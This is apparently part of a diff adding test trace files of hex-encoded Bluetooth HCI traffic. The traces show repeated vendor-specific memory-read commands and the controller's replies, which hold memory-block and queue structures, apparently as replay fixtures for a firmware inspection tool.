+TX 0108004dfc05e47c210004
+RX 000000090000000900000002
+RX 0000000000e269c225146c16
+RX 014dfc05e47c210004
+RX 0000000b0000000b000000030000000000e269c225147351
+RX 04
+RX 0e08014dfc00f07d2100
+TX 0108004dfc05f07d210004
+RX 00000009000000090000000200000000
+RX 00e269c22514e723
+RX 014dfc05f07d210004
+RX 0000000b0000000b000000030000000000e269c2
+RX 2514ef3f
+RX 040e08014dfc00fc7e2100
+TX 0108004dfc05fc7e210004
+RX 0000000900000009
+RX 000000020000000000e269c2251561bc
+RX 014dfc05fc7e210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c2251569c1
+RX 040e08014dfc0008802100
+TX 0108004dfc050880210004
+RX 0000000900000009000000020000000000e269c225158f04
+RX 01
+RX 4dfc050880210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c225159627
+RX 04
+RX 0e08014dfc0014812100
+TX 0108004dfc051481210004
+RX 0000000900000009000000020000000000e269c225165165
+RX 014dfc051481210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c225165ecc
+RX 04
+RX 0e08014dfc0020822100
+TX 0108004dfc052082210004
+RX 0000000900000009
+RX 000000020000000000e269c22517a5b9
+RX 014dfc052082210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c22517dfcd
+RX 04
+RX 0e08014dfc002c832100
+TX 0108004dfc052c83210004
+RX 0000000900000009
+RX 000000020000000000e269c2251932d1
+RX 014dfc052c83210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 2519667f
+RX 040e08014dfc0038842100
+TX 0108004dfc053884210004
+RX 000000090000000900000002
+RX 0000000000e269c2251b2a5a
+RX 014dfc053884210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 251b62c2
+RX 040e08014dfc0044852100
+TX 0108004dfc054485210004
+RX 0000000900000009000000020000000000e269c2
+RX 251ca298
+RX 014dfc054485210004
+RX 0000000b
+RX 0000000b00000003
+RX 0000000000e269c2251ccf7d
+RX 04
+RX 0e08014dfc0050862100
+TX 0108004dfc055086210004
+RX 0000000900000009000000020000000000e269c2251e9dc9
+RX 014dfc055086210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 251eca4e
+RX 040e08014dfc0000000000
+TX 0108004dfc05885e200030
+RX 0000000900000009000000020000000000e269c225200d49
+RX 014dfc05885e200030
+RX 0000003700000037
+RX 000000030000000000e269c2
+RX 25203a17
+RX 040e34014dfc00434f4c4200000000040000000400000024c6210024c62100b0100000280400000000000000000000585e2000285e2000
+TX 0108004dfc0524c6210004
+RX 0000000900000009000000020000000000e269c22522011f
+RX 01
+RX 4dfc0524c6210004
+RX 0000000b0000000b
+RX 000000030000000000e269c22522345d
+RX 040e08014dfc0050ca2100
+TX 0108004dfc0550ca210004
+RX 0000000900000009
+RX 000000020000000000e269c225237d84
+RX 014dfc0550ca210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 2523b746
+RX 040e08014dfc007cce2100
+TX 0108004dfc057cce210004
+RX 0000000900000009
+RX 000000020000000000e269c225257404
+RX 014dfc057cce210004
+RX 0000000b0000000b0000000300000000
+RX 00e269c22525acbe
+RX 04
+RX 0e08014dfc00a8d22100
+TX 0108004dfc05a8d2210004
+RX 000000090000000900000002
+RX 0000000000e269c225276a22
+RX 014dfc05a8d2210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c22527a257
+RX 040e08014dfc0000000000
+TX 0108004dfc05585e200030
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 2528e2d0
+RX 014dfc05585e200030
+RX 00000037000000370000000300000000
+RX 00e269c2252917ea
+RX 040e34014dfc00434f4c42000000001000000010000000d4d62100d4d621008044000044040000000000000000000038ec2000885e2000
+TX 0108004dfc05d4d6210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 252ae41d
+RX 014dfc05d4d6210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 252b1c39
+RX 040e08014dfc001cdb2100
+TX 0108004dfc051cdb210004
+RX 0000000900000009000000020000000000e269c2252c605d
+RX 014dfc051cdb210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 252c8cf9
+RX 040e08014dfc0064df2100
+TX 0108004dfc0564df210004
+RX 0000000900000009000000020000000000e269c2252e57a3
+RX 014dfc0564df210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 252e85a1
+RX 040e08014dfc00ace32100
+TX 0108004dfc05ace3210004
+RX 0000000900000009000000020000000000e269c2252fc9e0
+RX 014dfc05ace3210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 252ffd27
+RX 040e08014dfc00f4e72100
+TX 0108004dfc05f4e7210004
+RX 0000000900000009000000020000000000e269c2
+RX 2531c79c
+RX 014dfc05f4e7210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c22531f9dc
+RX 04
+RX 0e08014dfc003cec2100
+TX 0108004dfc053cec210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 2533400d
+RX 014dfc053cec210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c22533748a
+RX 04
+RX 0e08014dfc0084f02100
+TX 0108004dfc0584f0210004
+RX 0000000900000009
+RX 000000020000000000e269c22535357b
+RX 014dfc0584f0210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 25356eb9
+RX 040e08014dfc00ccf42100
+TX 0108004dfc05ccf4210004
+RX 0000000900000009000000020000000000e269c225372b81
+RX 014dfc05ccf4210004
+RX 0000000b0000000b
+RX 000000030000000000e269c225375dab
+RX 040e08014dfc0014f92100
+TX 0108004dfc0514f9210004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 2538a25a
+RX 014dfc0514f9210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c22538d60a
+RX 040e08014dfc005cfd2100
+TX 0108004dfc055cfd210004
+RX 0000000900000009000000020000000000e269c2
+RX 253a9899
+RX 014dfc055cfd210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2253acac3
+RX 040e08014dfc00a4012200
+TX 0108004dfc05a401220004
+RX 00000009000000090000000200000000
+RX 00e269c2253c0cd4
+RX 014dfc05a401220004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 253c44fa
+RX 040e08014dfc00ec052200
+TX 0108004dfc05ec05220004
+RX 000000090000000900000002
+RX 0000000000e269c2253e065b
+RX 014dfc05ec05220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 253e3a13
+RX 040e08014dfc00340a2200
+TX 0108004dfc05340a220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 253f7e4c
+RX 014dfc05340a220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 253fb262
+RX 040e08014dfc007c0e2200
+TX 0108004dfc057c0e220004
+RX 00000009
+RX 00000009000000020000000000e269c225417f42
+RX 014dfc057c0e220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c2254263d7
+RX 04
+RX 0e08014dfc00c4122200
+TX 0108004dfc05c412220004
+RX 0000000900000009
+RX 000000020000000000e269c225437d34
+RX 014dfc05c412220004
+RX 0000000b0000000b000000030000000000e269c2
+RX 254385a8
+RX 040e08014dfc000c172200
+TX 0108004dfc050c17220004
+RX 00000009000000090000000200000000
+RX 00e269c22543f724
+RX 014dfc050c17220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c22543fe75
+RX 040e08014dfc0000000000
+TX 0108004dfc0538ec200030
+RX 000000090000000900000002
+RX 0000000000e269c22544730f
+RX 014dfc0538ec200030
+RX 00000037000000370000000300000000
+RX 00e269c225447a7b
+RX 040e34014dfc00434f4c42000000000f0000000f000000541b2200541b22009402000028000000000000000000000068ec2000585e2000
+TX 0108004dfc05541b220004
+RX 00000009000000090000000200000000
+RX 00e269c2254530d1
+RX 014dfc05541b220004
+RX 0000000b0000000b000000030000000000e269c22545384f
+RX 040e08014dfc00801b2200
+TX 0108004dfc05801b220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 25468d97
+RX 014dfc05801b220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c22546c77f
+RX 04
+RX 0e08014dfc00ac1b2200
+TX 0108004dfc05ac1b220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 25481812
+RX 014dfc05ac1b220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c2254851b1
+RX 040e08014dfc00d81b2200
+TX 0108004dfc05d81b220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 254a0d3f
+RX 014dfc05d81b220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2254a4661
+RX 04
+RX 0e08014dfc00041c2200
+TX 0108004dfc05041c220004
+RX 000000090000000900000002
+RX 0000000000e269c2254b81c3
+RX 014dfc05041c220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 254bb640
+RX 040e08014dfc00301c2200
+TX 0108004dfc05301c220004
+RX 0000000900000009000000020000000000e269c2254d7a87
+RX 014dfc05301c220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 254da773
+RX 040e08014dfc005c1c2200
+TX 0108004dfc055c1c220004
+RX 0000000900000009000000020000000000e269c2254eeefc
+RX 014dfc055c1c220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 254f1cc7
+RX 040e08014dfc00881c2200
+TX 0108004dfc05881c220004
+RX 0000000900000009
+RX 000000020000000000e269c22550e1a7
+RX 014dfc05881c220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 25511a28
+RX 040e08014dfc00b41c2200
+TX 0108004dfc05b41c220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 2552563c
+RX 014dfc05b41c220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c225528970
+RX 040e08014dfc00e01c2200
+TX 0108004dfc05e01c220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 25545148
+RX 014dfc05e01c220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 255495c8
+RX 040e08014dfc000c1d2200
+TX 0108004dfc050c1d220004
+RX 000000090000000900000002
+RX 0000000000e269c225561274
+RX 014dfc050c1d220004
+RX 0000000b0000000b000000030000000000e269c225561a14
+RX 040e08014dfc00381d2200
+TX 0108004dfc05381d220004
+RX 000000090000000900000002
+RX 0000000000e269c22556cc48
+RX 014dfc05381d220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c22556d4c1
+RX 040e08014dfc00641d2200
+TX 0108004dfc05641d220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 255728b3
+RX 014dfc05641d220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2255730da
+RX 040e08014dfc00901d2200
+TX 0108004dfc05901d220004
+RX 0000000900000009000000020000000000e269c2255764bf
+RX 014dfc05901d220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 25576be4
+RX 040e08014dfc00bc1d2200
+TX 0108004dfc05bc1d220004
+RX 000000090000000900000002
+RX 0000000000e269c225580968
+RX 014dfc05bc1d220004
+RX 0000000b
+RX 0000000b000000030000000000e269c22558253a
+RX 040e08014dfc0000000000
+TX 0108004dfc0568ec200030
+RX 00000009000000090000000200000000
+RX 00e269c2255917c5
+RX 01
+RX 4dfc0568ec200030
+RX 0000003700000037
+RX 000000030000000000e269c225594aea
+RX 040e34014dfc00434f4c42000000000f0000000f000000e81d2200e81d22001c020000200000000000000000000000c85d200038ec2000
+TX 0108004dfc05e81d220004
+RX 0000000900000009000000020000000000e269c2255b0b9f
+RX 01
+RX 4dfc05e81d220004
+RX 0000000b0000000b
+RX 000000030000000000e269c2255b3e4e
+RX 040e08014dfc000c1e2200
+TX 0108004dfc050c1e220004
+RX 0000000900000009000000020000000000e269c2255c8003
+RX 01
+RX 4dfc050c1e220004
+RX 0000000b0000000b
+RX 000000030000000000e269c2255cae79
+RX 040e08014dfc00301e2200
+TX 0108004dfc05301e220004
+RX 0000000900000009000000020000000000e269c2255e7bc6
+RX 01
+RX 4dfc05301e220004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 255eaed6
+RX 040e08014dfc00541e2200
+TX 0108004dfc05541e220004
+RX 0000000900000009000000020000000000e269c225607f9d
+RX 014dfc05541e220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 2560adc6
+RX 040e08014dfc00781e2200
+TX 0108004dfc05781e220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 2561ea26
+RX 014dfc05781e220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 25621fe0
+RX 040e08014dfc009c1e2200
+TX 0108004dfc059c1e220004
+RX 0000000900000009
+RX 0000000200000000
+RX 00e269c22563e445
+RX 014dfc059c1e220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c22564180f
+RX 040e08014dfc00c01e2200
+TX 0108004dfc05c01e220004
+RX 0000000900000009000000020000000000e269c2
+RX 25655a07
+RX 014dfc05c01e220004
+RX 0000000b0000000b0000000300000000
+RX 00e269c2256587be
+RX 04
+RX 0e08014dfc00e41e2200
+TX 0108004dfc05e41e220004
+RX 0000000900000009000000020000000000e269c225674d06
+RX 014dfc05e41e220004
+RX 0000000b0000000b
+RX 000000030000000000e269c225677f9c
+RX 040e08014dfc00081f2200
+TX 0108004dfc05081f220004
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 2568c3c6
+RX 014dfc05081f220004
+RX 0000000b0000000b00000003
+RX 0000000000e269c22568f76f
+RX 04
+RX 0e08014dfc002c1f2200
+TX 0108004dfc052c1f220004
+RX 000000090000000900000002
+RX 0000000000e269c2256aba6f
+RX 014dfc052c1f220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2256aee2f
+RX 040e08014dfc00501f2200
+TX 0108004dfc05501f220004
+RX 0000000900000009000000020000000000e269c2
+RX 256cb09e
+RX 014dfc05501f220004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2256ce32b
+RX 04
+RX 0e08014dfc00741f2200
+TX 0108004dfc05741f220004
+RX 0000000900000009000000020000000000e269c2256e2691
+RX 014dfc05741f220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 256e5586
+RX 040e08014dfc00981f2200
+TX 0108004dfc05981f220004
+RX 0000000900000009
+RX 000000020000000000e269c2257024e1
+RX 014dfc05981f220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 25705949
+RX 040e08014dfc00bc1f2200
+TX 0108004dfc05bc1f220004
+RX 0000000900000009000000020000000000e269c2257195aa
+RX 014dfc05bc1f220004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 2571c36f
+RX 040e08014dfc00e01f2200
+TX 0108004dfc05e01f220004
+RX 00000009000000090000000200000000
+RX 00e269c225738aa1
+RX 01
+RX 4dfc05e01f220004
+RX 0000000b0000000b
+RX 000000030000000000e269c22573c337
+RX 040e08014dfc0000000000
+Socket closed

tests/traces/adbcore/info_queue.trace

@@ -0,0 +1,148 @@
+# info queue
+TX 010300011000
+RX 0000000400000004000000020000000000e269c2663770fc
+RX 01011000
+RX 0000000f0000000f000000030000000000e269c26637a4a7
+RX 040e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc057c30200004
+RX 00000003000000030000000300000000
+RX 00e269c266390c8a
+RX 07f001
+RX 00000009
+RX 000000090000000200000000
+RX 00e269c2663974da
+RX 01
+RX 4dfc057c30200004
+RX 0000000b0000000b
+RX 000000030000000000e269c26639ac63
+RX 040e08014dfc0090652000
+TX 0108004dfc059065200038
+RX 000000090000000900000002
+RX 0000000000e269c2
+RX 663b4f1a
+RX 014dfc059065200038
+RX 0000003f0000003f0000000300000000
+RX 00e269c2663b83d8
+RX 040e3c014dfc00554555510000000001000000100000000000000010000000c8652000086620000466200004662000000000000000000044662000ecad2000
+TX 0108004dfc054466200038
+RX 000000090000000900000002
+RX 0000000000e269c2663d419c
+RX 014dfc054466200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 663d7aab
+RX 040e3c014dfc005545555100000000020000001f000000000000001f0000007c66200074672000ac662000ac66200000000000000000007467200090652000
+TX 0108004dfc057467200038
+RX 0000000900000009000000020000000000e269c2
+RX 663ebb9e
+RX 014dfc057467200038
+RX 0000003f0000003f00000003
+RX 0000000000e269c2663eeac6
+RX 040e3c014dfc00554555510000000001000000030000000000000003000000ac672000b8672000ac672000ac6720000000000000000000b867200044662000
+TX 0108004dfc05b867200038
+RX 0000000900000009000000020000000000e269c26640af70
+RX 01
+RX 4dfc05b867200038
+RX 0000003f0000003f
+RX 000000030000000000e269c2
+RX 6640e3ed
+RX 040e3c014dfc005545555100000000010000001f000000000000001f000000f06720006c682000f0672000f067200000000000000000006c68200074672000
+TX 0108004dfc056c68200038
+RX 0000000900000009000000020000000000e269c26642a534
+RX 014dfc056c68200038
+RX 0000003f
+RX 0000003f0000000300000000
+RX 00e269c26642d8cd
+RX 04
+RX 0e3c014dfc00554555510000000001000000140000000000000014000000a4682000f4682000e0682000e06820000000000000000000f4682000b8672000
+TX 0108004dfc05f468200038
+RX 0000000900000009000000020000000000e269c266441bec
+RX 014dfc05f468200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6644504f
+RX 040e3c014dfc005545555100000000020000000800000000000000080000002c6920006c6920002c6920002c69200000000000000000006c6920006c682000
+TX 0108004dfc056c69200038
+RX 000000090000000900000002
+RX 0000000000e269c2
+RX 664611cc
+RX 014dfc056c69200038
+RX 0000003f
+RX 0000003f0000000300000000
+RX 00e269c266464b12
+RX 04
+RX 0e3c014dfc00554555510000000002000000060000000000000006000000a4692000d4692000a4692000a46920000000000000000000d4692000f4682000
+TX 0108004dfc05d469200038
+RX 00000009000000090000000200000000
+RX 00e269c266478916
+RX 01
+RX 4dfc05d469200038
+RX 0000003f0000003f00000003
+RX 0000000000e269c26647be39
+RX 040e3c014dfc00554555510000000002000000010000000000000001000000100d2000180d2000100d2000100d200000000000000000000c6a20006c692000
+TX 0108004dfc050c6a200038
+RX 000000090000000900000002
+RX 0000000000e269c2664987ae
+RX 014dfc050c6a200038
+RX 0000003f0000003f
+RX 000000030000000000e269c2
+RX 6649bc49
+RX 040e3c014dfc00554555510000000002000000010000000000000001000000180d2000200d2000180d2000180d20000000000000000000446a2000d4692000
+TX 0108004dfc05446a200038
+RX 000000090000000900000002
+RX 0000000000e269c2664af918
+RX 014dfc05446a200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 664b2d9b
+RX 040e3c014dfc005545555100000000020000002000000000000000200000007c6a20007c6b20007c6a20007c6a20000000000000000000903320000c6a2000
+TX 0108004dfc059033200038
+RX 0000000900000009000000020000000000e269c2664cf025
+RX 014dfc059033200038
+RX 0000003f0000003f
+RX 000000030000000000e269c2
+RX 664d236e
+RX 040e3c014dfc005545555100000000020000000c000000000000000c0000009c732100fc732100ac732100ac7321000000000000000000705b2000446a2000
+TX 0108004dfc05705b200038
+RX 0000000900000009000000020000000000e269c2
+RX 664ee493
+RX 014dfc05705b200038
+RX 0000003f0000003f0000000300000000
+RX 00e269c2664f184e
+RX 04
+RX 0e3c014dfc00554555510000000001000000080000000000000008000000fc7321001c74210010742100107421000000000000000000c833200090332000
+TX 0108004dfc05c833200038
+RX 000000090000000900000002
+RX 0000000000e269c2665059ac
+RX 014dfc05c833200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6650912f
+RX 040e3c014dfc005545555100000000020000001300000000000000130000001c742100b47421001c7421001c7421000000000000000000b4512000705b2000
+TX 0108004dfc05b451200038
+RX 0000000900000009
+RX 000000020000000000e269c266525485
+RX 014dfc05b451200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6652883b
+RX 040e3c014dfc00554555510000000002000000060000000000000006000000b4742100e4742100b4742100b4742100000000000000000094ad2000c8332000
+TX 0108004dfc0594ad200038
+RX 000000090000000900000002
+RX 0000000000e269c26653c77b
+RX 014dfc0594ad200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6653fcfb
+RX 040e3c014dfc00554555510000000001000000080000000000000008000000ccad2000ecad2000ccad2000ccad20000000000000000000ecad2000b4512000
+TX 0108004dfc05ecad200038
+RX 0000000900000009
+RX 000000020000000000e269c2
+RX 6655bd0f
+RX 014dfc05ecad200038
+RX 0000003f
+RX 0000003f000000030000000000e269c2
+RX 6655f6b7
+RX 040e3c014dfc0055455551000000000100000010000000000000001000000024ae200064ae200024ae200024ae200000000000000000009065200094ad2000
+Socket closed